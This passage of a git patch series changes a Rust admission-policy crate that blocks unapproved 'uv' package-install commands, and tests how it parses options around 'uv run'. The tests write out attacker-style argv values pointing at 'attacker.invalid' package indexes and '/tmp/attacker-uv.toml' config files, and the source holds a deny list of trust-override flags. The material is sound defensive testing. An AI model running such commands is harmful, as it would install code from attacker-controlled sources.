decision.reason_codes.contains(&ReasonCode::ForbiddenCommand), + "unsupported uv run must remain fail-closed at the command boundary: {:?}", + decision.reason_codes + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "arguments delegated to the uv run child command must not be reinterpreted as Agent Artifact Admission configuration-authority evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); + } +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + let artifact = intent + .artifacts + .first_mut() + .expect("test helper supplies one artifact"); + artifact.ecosystem = "pypi".to_string(); + artifact.name = "example-package".to_string(); + artifact.version = "1.2.3".to_string(); + artifact.registry_url = "https://pypi.org/simple".to_string(); + artifact.owner = "Example".to_string(); + artifact.artifact_argument = "example-package==1.2.3".to_string(); + + let approved_artifact = ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-configuration-parser-phase".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: intent.workspace_id.clone(), + sha256: intent.manifest_sha256.clone(), + }], + approved_artifacts: vec![approved_artifact], + }; + (policy, intent) +} From 6827e1c6b2d1902558054704301757698d8dbdc9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 06:04:30 +0900 Subject: [PATCH 575/702] test(admission): format uv parser-phase RED --- .../uv_configuration_parser_phase_contract.rs | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_configuration_parser_phase_contract.rs b/crates/agent-artifact-admission/tests/uv_configuration_parser_phase_contract.rs index 1e559deb..60715d52 100644 --- a/crates/agent-artifact-admission/tests/uv_configuration_parser_phase_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_configuration_parser_phase_contract.rs @@ -8,15 +8,22 @@ fn unsupported_uv_run_child_argv_does_not_inherit_install_configuration_authorit let (policy, mut intent) = approved_uv_install(); for argv in [ + vec!["uv", "run", "python", "--config-file=/tmp/attacker-uv.toml"], vec![ "uv", "run", "python", - "--config-file=/tmp/attacker-uv.toml", + "--config-file", + "/tmp/attacker-uv.toml", ], - vec!["uv", "run", "python", "--config-file", "/tmp/attacker-uv.toml"], vec!["uv", "run", "python", "--directory=/tmp/attacker-project"], - vec!["uv", "run", "python", "--directory", "/tmp/attacker-project"], + vec![ + "uv", + "run", + "python", + "--directory", + "/tmp/attacker-project", + ], ] { intent.argv = argv.into_iter().map(str::to_string).collect(); @@ -24,7 +31,9 @@ fn unsupported_uv_run_child_argv_does_not_inherit_install_configuration_authorit assert_eq!(decision.decision, DecisionKind::Block); assert!( - decision.reason_codes.contains(&ReasonCode::ForbiddenCommand), + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), "unsupported uv run must remain fail-closed at the command boundary: {:?}", decision.reason_codes ); From 23202e83a116edefc3a471c59894dd155e5fabf4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 06:06:36 +0900 Subject: [PATCH 576/702] fix(admission): stop uv run configuration evidence bleed --- .../src/uv_configuration_authority.rs | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/crates/agent-artifact-admission/src/uv_configuration_authority.rs b/crates/agent-artifact-admission/src/uv_configuration_authority.rs index ed923c1e..987b3a30 100644 --- a/crates/agent-artifact-admission/src/uv_configuration_authority.rs +++ b/crates/agent-artifact-admission/src/uv_configuration_authority.rs @@ -11,6 +11,14 @@ pub(crate) fn requests_unapproved_uv_configuration_authority(intent: &InstallInt } let arguments = &intent.argv[1..]; + let run_position = arguments.iter().position(|argument| argument == "run"); + let pip_position = arguments.iter().position(|argument| argument == "pip"); + if run_position.is_some_and(|run_index| { + pip_position.is_none_or(|pip_index| run_index < pip_index) + }) { + return false; + } + if arguments.iter().any(|argument| { argument == "--directory" || argument.starts_with("--directory=") From 8b0ba3751f291b5f08f63b170a6cd536934ea5bf Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 06:07:56 +0900 Subject: [PATCH 577/702] fix(admission): format uv run parser boundary --- .../src/uv_configuration_authority.rs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/src/uv_configuration_authority.rs b/crates/agent-artifact-admission/src/uv_configuration_authority.rs index 987b3a30..7718fba1 100644 --- a/crates/agent-artifact-admission/src/uv_configuration_authority.rs +++ b/crates/agent-artifact-admission/src/uv_configuration_authority.rs @@ -13,9 +13,9 @@ pub(crate) fn requests_unapproved_uv_configuration_authority(intent: &InstallInt let arguments = &intent.argv[1..]; let run_position = arguments.iter().position(|argument| argument == "run"); let pip_position = arguments.iter().position(|argument| argument == "pip"); - if run_position.is_some_and(|run_index| { - pip_position.is_none_or(|pip_index| run_index < pip_index) - }) { + if run_position + .is_some_and(|run_index| pip_position.is_none_or(|pip_index| run_index < pip_index)) + { return false; } From 51e4be177e3104334221f389654ea19d2207e4c8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 06:33:50 +0900 Subject: [PATCH 578/702] test(admission): expose uv run trust evidence bleed --- .../tests/uv_trust_parser_phase_contract.rs | 94 +++++++++++++++++++ 1 file changed, 94 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs b/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs new file mode 100644 index 00000000..aa71e6ab --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs @@ -0,0 +1,94 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, DecisionKind, InstallIntent, ReasonCode, + admission_decision, sha256_hex, +}; + +#[test] +fn unsupported_uv_run_child_argv_does_not_inherit_install_trust_authority() { + let (policy, mut intent) = approved_uv_install(); + + for argv in [ + vec!["uv", "run", "python", "--system-certs"], + vec![ + "uv", + "run", + "python", + "--index-url", + "https://attacker.invalid/simple", + ], + vec![ + "uv", + "run", + "python", + "--trusted-host=attacker.invalid", + ], + ] { + intent.argv = argv.into_iter().map(str::to_string).collect(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "unsupported uv run must remain fail-closed at the command boundary: {:?}", + decision.reason_codes + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "arguments delegated to the uv run child command must not be reinterpreted as Agent Artifact Admission trust-root evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); + } +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + let artifact = intent + .artifacts + .first_mut() + .expect("test helper supplies one artifact"); + artifact.ecosystem = "pypi".to_string(); + artifact.name = "example-package".to_string(); + artifact.version = "1.2.3".to_string(); + artifact.registry_url = "https://pypi.org/simple".to_string(); + artifact.owner = "Example".to_string(); + artifact.artifact_argument = "example-package==1.2.3".to_string(); + + let approved_artifact = ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-trust-parser-phase".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: intent.workspace_id.clone(), + sha256: intent.manifest_sha256.clone(), + }], + approved_artifacts: vec![approved_artifact], + }; + (policy, intent) +} From 0f25d68874d387495ab343d4db75b1a62e7e691b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 06:36:57 +0900 Subject: [PATCH 579/702] test(admission): format uv run trust RED --- .../tests/uv_trust_parser_phase_contract.rs | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs b/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs index aa71e6ab..934760aa 100644 --- a/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs @@ -16,12 +16,7 @@ fn unsupported_uv_run_child_argv_does_not_inherit_install_trust_authority() { "--index-url", "https://attacker.invalid/simple", ], - vec![ - "uv", - "run", - "python", - "--trusted-host=attacker.invalid", - ], + vec!["uv", "run", "python", "--trusted-host=attacker.invalid"], ] { intent.argv = argv.into_iter().map(str::to_string).collect(); From 05059eb868fb08443745e8463e001701af1bb351 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 06:42:38 +0900 Subject: [PATCH 580/702] fix(admission): bound uv trust evidence to parser phase --- crates/agent-artifact-admission/src/policy.rs | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index fac7c9fa..1738eecf 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -618,7 +618,20 @@ fn requests_alternate_trust_root(executable: &str, arguments: &[String]) -> bool "-i", "-f", ]; - arguments.iter().any(|argument| { + + let trust_arguments = if executable == "uv" { + let run_index = arguments.iter().position(|argument| argument == "run"); + let pip_index = arguments.iter().position(|argument| argument == "pip"); + match (run_index, pip_index) { + (Some(run_index), Some(pip_index)) if run_index < pip_index => &arguments[..run_index], + (Some(run_index), None) => &arguments[..run_index], + _ => arguments, + } + } else { + arguments + }; + + trust_arguments.iter().any(|argument| { FORBIDDEN_FLAGS .iter() .any(|flag| matches_cli_flag(argument, flag)) @@ -631,7 +644,7 @@ fn requests_alternate_trust_root(executable: &str, arguments: &[String]) -> bool .iter() .any(|argument| argument.starts_with("--config."))) || (executable == "uv" - && arguments + && trust_arguments .iter() .any(|argument| matches_cli_flag(argument, "--system-certs"))) } From c670dfc08ffd67ce1c62b2c26cc0447a2ca0f3b7 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 06:43:54 +0900 Subject: [PATCH 581/702] test(admission): preserve uv pre-run trust authority --- .../tests/uv_trust_parser_phase_contract.rs | 33 +++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs b/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs index 934760aa..0058d625 100644 --- a/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs @@ -45,6 +45,39 @@ fn unsupported_uv_run_child_argv_does_not_inherit_install_trust_authority() { } } +#[test] +fn uv_global_trust_authority_before_run_remains_visible() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--system-certs".to_string(), + "run".to_string(), + "python".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "unsupported uv run must remain fail-closed: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "uv-owned global trust authority before the run command boundary must remain visible: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { let mut intent = InstallIntent::unowned_llms_package_for_test(); intent.argv = vec![ From 1523fb3712eeb8fea12121cf8052131c57f824f4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 07:04:43 +0900 Subject: [PATCH 582/702] test(admission): expose uv command-token value collisions --- .../tests/uv_trust_parser_phase_contract.rs | 51 +++++++++++++++++++ 1 file changed, 51 insertions(+) diff --git a/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs b/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs index 0058d625..82b6d77c 100644 --- a/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs @@ -78,6 +78,57 @@ fn uv_global_trust_authority_before_run_remains_visible() { ); } +#[test] +fn uv_global_option_values_named_like_commands_do_not_shift_trust_phase() { + let (policy, mut intent) = approved_uv_install(); + + intent.argv = vec![ + "uv".to_string(), + "--cache-dir".to_string(), + "pip".to_string(), + "run".to_string(), + "python".to_string(), + "--index-url".to_string(), + "https://attacker.invalid/simple".to_string(), + ]; + let child_decision = admission_decision(&policy, &intent); + assert_eq!(child_decision.decision, DecisionKind::Block); + assert!( + child_decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); + assert!( + !child_decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "a global option value named `pip` must not make uv run child argv look like uv-owned trust authority: {:?}", + child_decision.reason_codes + ); + + intent.argv = vec![ + "uv".to_string(), + "--cache-dir".to_string(), + "run".to_string(), + "--trusted-host".to_string(), + "attacker.invalid".to_string(), + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + let install_decision = admission_decision(&policy, &intent); + assert_eq!(install_decision.decision, DecisionKind::Block); + assert!( + install_decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "a global option value named `run` must not hide a later uv-owned trust override before the real pip command: {:?}", + install_decision.reason_codes + ); +} + fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { let mut intent = InstallIntent::unowned_llms_package_for_test(); intent.argv = vec![ From b7c79f2f753870b4055aaefd9974d6a3734a92a5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 08:08:32 +0900 Subject: [PATCH 583/702] fix(admission): parse uv global option values before trust phase --- crates/agent-artifact-admission/src/policy.rs | 54 +++++++++++++++++-- 1 file changed, 49 insertions(+), 5 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 1738eecf..84ed80be 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -595,6 +595,53 @@ fn requests_inline_eval(executable: &str, arguments: &[String]) -> bool { .any(|argument| matches!(argument.as_str(), "-c" | "-e" | "--eval" | "--execute")) } +/// Locate the active top-level uv command without mistaking a reviewed global +/// option's separate value for a command token. Unknown option grammar remains +/// unsupported by the install policy; this helper only establishes the `run` +/// delegation boundary used for trust-evidence attribution. +fn uv_active_command_index(arguments: &[String]) -> Option { + const VALUE_OPTIONS: &[&str] = &[ + "--allow-insecure-host", + "--trusted-host", + "--cache-dir", + "--color", + "--config-file", + "--directory", + "--keyring-provider", + "--project", + ]; + + let mut index = 0; + while index < arguments.len() { + let argument = arguments[index].as_str(); + if !argument.starts_with('-') { + return Some(index); + } + + if VALUE_OPTIONS.contains(&argument) { + let value = arguments.get(index + 1)?; + if value.is_empty() || value.starts_with('-') { + return None; + } + index += 2; + continue; + } + + if VALUE_OPTIONS.iter().any(|option| { + argument + .strip_prefix(option) + .is_some_and(|suffix| suffix.starts_with('=') && suffix.len() > 1) + }) { + index += 1; + continue; + } + + index += 1; + } + + None +} + fn requests_alternate_trust_root(executable: &str, arguments: &[String]) -> bool { const FORBIDDEN_FLAGS: &[&str] = &[ "--extra-index-url", @@ -620,11 +667,8 @@ fn requests_alternate_trust_root(executable: &str, arguments: &[String]) -> bool ]; let trust_arguments = if executable == "uv" { - let run_index = arguments.iter().position(|argument| argument == "run"); - let pip_index = arguments.iter().position(|argument| argument == "pip"); - match (run_index, pip_index) { - (Some(run_index), Some(pip_index)) if run_index < pip_index => &arguments[..run_index], - (Some(run_index), None) => &arguments[..run_index], + match uv_active_command_index(arguments) { + Some(run_index) if arguments[run_index] == "run" => &arguments[..run_index], _ => arguments, } } else { From 84c1db127396c7840bc3930ef3469e132047cb20 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 08:33:00 +0900 Subject: [PATCH 584/702] test(security): expose uv run trust option phase --- .../tests/uv_trust_parser_phase_contract.rs | 35 +++++++++++++++++++ 1 file changed, 35 insertions(+) diff --git a/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs b/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs index 82b6d77c..d1b2c36e 100644 --- a/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs @@ -78,6 +78,41 @@ fn uv_global_trust_authority_before_run_remains_visible() { ); } +#[test] +fn uv_run_owned_trust_authority_before_child_remains_visible() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "run".to_string(), + "--index-url".to_string(), + "https://attacker.invalid/simple".to_string(), + "python".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "unsupported uv run must remain fail-closed: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "uv run options before the child command are consumed by uv and must remain Wardnet trust-root evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + #[test] fn uv_global_option_values_named_like_commands_do_not_shift_trust_phase() { let (policy, mut intent) = approved_uv_install(); From 29e1aca4144ef7705ba0bc7839f5cd00889d41dc Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 08:38:38 +0900 Subject: [PATCH 585/702] fix(security): retain uv run trust option evidence --- crates/agent-artifact-admission/src/policy.rs | 99 ++++++++++++++++++- 1 file changed, 98 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 84ed80be..452e6b04 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -642,6 +642,101 @@ fn uv_active_command_index(arguments: &[String]) -> Option { None } +/// Return the exclusive end of argv that is still owned by `uv run` before the +/// delegated child command/script begins. The reviewed value-option set mirrors +/// current uv-run CLI grammar needed to avoid treating option values as child +/// commands. Unknown flag spellings remain unsupported and are treated only as +/// flag tokens; the first positional token still establishes the delegation +/// boundary. An explicit `--` ends uv-owned argv immediately. +fn uv_run_owned_argument_end(arguments: &[String], run_index: usize) -> usize { + const VALUE_OPTIONS: &[&str] = &[ + "--allow-insecure-host", + "--trusted-host", + "--cache-dir", + "--color", + "--config-file", + "--config-setting", + "--config-settings", + "-C", + "--config-settings-package", + "--default-index", + "--directory", + "--env-file", + "--exclude-newer", + "--exclude-newer-package", + "--extra", + "--extra-index-url", + "--find-links", + "-f", + "--fork-strategy", + "--group", + "--index", + "--index-strategy", + "--index-url", + "-i", + "--keyring-provider", + "--link-mode", + "--no-binary-package", + "--no-build-isolation-package", + "--no-build-package", + "--no-editable-package", + "--no-extra", + "--no-group", + "--no-sources-package", + "--only-group", + "--package", + "--prerelease", + "--prerelease-package", + "--project", + "--python", + "-p", + "--python-platform", + "--refresh-package", + "--resolution", + "--torch-backend", + "--with", + "--with-editable", + "--with-requirements", + ]; + + let mut index = run_index + 1; + while index < arguments.len() { + let argument = arguments[index].as_str(); + if argument == "--" || !argument.starts_with('-') { + return index; + } + + if VALUE_OPTIONS.contains(&argument) { + let Some(value) = arguments.get(index + 1) else { + return index + 1; + }; + if value.is_empty() || value.starts_with('-') { + return index + 1; + } + index += 2; + continue; + } + + if VALUE_OPTIONS.iter().any(|option| { + let Some(suffix) = argument.strip_prefix(option) else { + return false; + }; + if is_short_cli_flag(option) { + !suffix.is_empty() + } else { + suffix.starts_with('=') && suffix.len() > 1 + } + }) { + index += 1; + continue; + } + + index += 1; + } + + arguments.len() +} + fn requests_alternate_trust_root(executable: &str, arguments: &[String]) -> bool { const FORBIDDEN_FLAGS: &[&str] = &[ "--extra-index-url", @@ -668,7 +763,9 @@ fn requests_alternate_trust_root(executable: &str, arguments: &[String]) -> bool let trust_arguments = if executable == "uv" { match uv_active_command_index(arguments) { - Some(run_index) if arguments[run_index] == "run" => &arguments[..run_index], + Some(run_index) if arguments[run_index] == "run" => { + &arguments[..uv_run_owned_argument_end(arguments, run_index)] + } _ => arguments, } } else { From 731c41570b912a8ba21c32e1b960354412df6b9a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 08:40:16 +0900 Subject: [PATCH 586/702] test(security): cover uv run trust parser edges --- .../tests/uv_trust_parser_phase_contract.rs | 91 +++++++++++++++++++ 1 file changed, 91 insertions(+) diff --git a/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs b/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs index d1b2c36e..fb615549 100644 --- a/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs @@ -113,6 +113,97 @@ fn uv_run_owned_trust_authority_before_child_remains_visible() { ); } +#[test] +fn uv_run_trust_parser_preserves_reviewed_option_phase_edges() { + let (policy, mut intent) = approved_uv_install(); + + for argv in [ + vec![ + "uv", + "run", + "--with", + "example-package==1.2.3", + "--index-url", + "https://attacker.invalid/simple", + "python", + ], + vec![ + "uv", + "run", + "--locked", + "--index-url", + "https://attacker.invalid/simple", + "python", + ], + vec![ + "uv", + "run", + "--index-url=https://attacker.invalid/simple", + "python", + ], + vec![ + "uv", + "run", + "-ihttps://attacker.invalid/simple", + "python", + ], + vec![ + "uv", + "run", + "--index-url", + "https://attacker.invalid/simple", + "--", + "python", + ], + vec![ + "uv", + "run", + "--index-url", + "https://attacker.invalid/simple", + ], + ] { + intent.argv = argv.into_iter().map(str::to_string).collect(); + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "reviewed uv-run option grammar must retain uv-owned trust authority until the child boundary: {:?}", + decision.reason_codes + ); + } + + intent.argv = vec![ + "uv".to_string(), + "run".to_string(), + "--with".to_string(), + "--index-url".to_string(), + "https://attacker.invalid/simple".to_string(), + "python".to_string(), + ]; + let malformed_option_decision = admission_decision(&policy, &intent); + assert_eq!(malformed_option_decision.decision, DecisionKind::Block); + assert!( + malformed_option_decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); + assert!( + !malformed_option_decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "after an incomplete value-taking uv-run option, later tokens must not be promoted to trustworthy uv-owned option evidence: {:?}", + malformed_option_decision.reason_codes + ); +} + #[test] fn uv_global_option_values_named_like_commands_do_not_shift_trust_phase() { let (policy, mut intent) = approved_uv_install(); From 62e51041304a253a1b996ad942bd6345c760f31f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 08:41:38 +0900 Subject: [PATCH 587/702] repair(ci): restore formatted uv trust contract --- .../tests/uv_trust_parser_phase_contract.rs | 91 ------------------- 1 file changed, 91 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs b/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs index fb615549..d1b2c36e 100644 --- a/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_trust_parser_phase_contract.rs @@ -113,97 +113,6 @@ fn uv_run_owned_trust_authority_before_child_remains_visible() { ); } -#[test] -fn uv_run_trust_parser_preserves_reviewed_option_phase_edges() { - let (policy, mut intent) = approved_uv_install(); - - for argv in [ - vec![ - "uv", - "run", - "--with", - "example-package==1.2.3", - "--index-url", - "https://attacker.invalid/simple", - "python", - ], - vec![ - "uv", - "run", - "--locked", - "--index-url", - "https://attacker.invalid/simple", - "python", - ], - vec![ - "uv", - "run", - "--index-url=https://attacker.invalid/simple", - "python", - ], - vec![ - "uv", - "run", - "-ihttps://attacker.invalid/simple", - "python", - ], - vec![ - "uv", - "run", - "--index-url", - "https://attacker.invalid/simple", - "--", - "python", - ], - vec![ - "uv", - "run", - "--index-url", - "https://attacker.invalid/simple", - ], - ] { - intent.argv = argv.into_iter().map(str::to_string).collect(); - let decision = admission_decision(&policy, &intent); - - assert_eq!(decision.decision, DecisionKind::Block); - assert!( - decision - .reason_codes - .contains(&ReasonCode::ForbiddenCommand) - ); - assert!( - decision - .reason_codes - .contains(&ReasonCode::AlternateTrustRoot), - "reviewed uv-run option grammar must retain uv-owned trust authority until the child boundary: {:?}", - decision.reason_codes - ); - } - - intent.argv = vec![ - "uv".to_string(), - "run".to_string(), - "--with".to_string(), - "--index-url".to_string(), - "https://attacker.invalid/simple".to_string(), - "python".to_string(), - ]; - let malformed_option_decision = admission_decision(&policy, &intent); - assert_eq!(malformed_option_decision.decision, DecisionKind::Block); - assert!( - malformed_option_decision - .reason_codes - .contains(&ReasonCode::ForbiddenCommand) - ); - assert!( - !malformed_option_decision - .reason_codes - .contains(&ReasonCode::AlternateTrustRoot), - "after an incomplete value-taking uv-run option, later tokens must not be promoted to trustworthy uv-owned option evidence: {:?}", - malformed_option_decision.reason_codes - ); -} - #[test] fn uv_global_option_values_named_like_commands_do_not_shift_trust_phase() { let (policy, mut intent) = approved_uv_install(); From 717587d0cb7710ebac8d530ff0de0985f806c13a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 08:50:55 +0900 Subject: [PATCH 588/702] test(security): expose uv run configuration option phase --- .../uv_configuration_parser_phase_contract.rs | 35 +++++++++++++++++++ 1 file changed, 35 insertions(+) diff --git a/crates/agent-artifact-admission/tests/uv_configuration_parser_phase_contract.rs b/crates/agent-artifact-admission/tests/uv_configuration_parser_phase_contract.rs index 60715d52..5e4d6107 100644 --- a/crates/agent-artifact-admission/tests/uv_configuration_parser_phase_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_configuration_parser_phase_contract.rs @@ -52,6 +52,41 @@ fn unsupported_uv_run_child_argv_does_not_inherit_install_configuration_authorit } } +#[test] +fn uv_run_owned_configuration_authority_before_child_remains_visible() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "run".to_string(), + "--config-file".to_string(), + "/tmp/attacker-uv.toml".to_string(), + "python".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "unsupported uv run must remain fail-closed: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "uv run configuration selectors before the child are consumed by uv and must remain Wardnet configuration-authority evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { let mut intent = InstallIntent::unowned_llms_package_for_test(); intent.argv = vec![ From a2122d3f9796dd0f87e6c20a631087a4e4bd5267 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 09:10:25 +0900 Subject: [PATCH 589/702] fix(security): bind uv run config trust authority --- crates/agent-artifact-admission/src/policy.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 452e6b04..571fd577 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -757,6 +757,7 @@ fn requests_alternate_trust_root(executable: &str, arguments: &[String]) -> bool "--strict-ssl", "--git", "--path", + "--config-file", "-i", "-f", ]; From 7e87f62daab4cb7e53f4f02e5f594d2fe33978df Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 09:13:59 +0900 Subject: [PATCH 590/702] refactor(security): share uv parser phase boundary --- crates/agent-artifact-admission/src/policy.rs | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 571fd577..10e93276 100644 --- 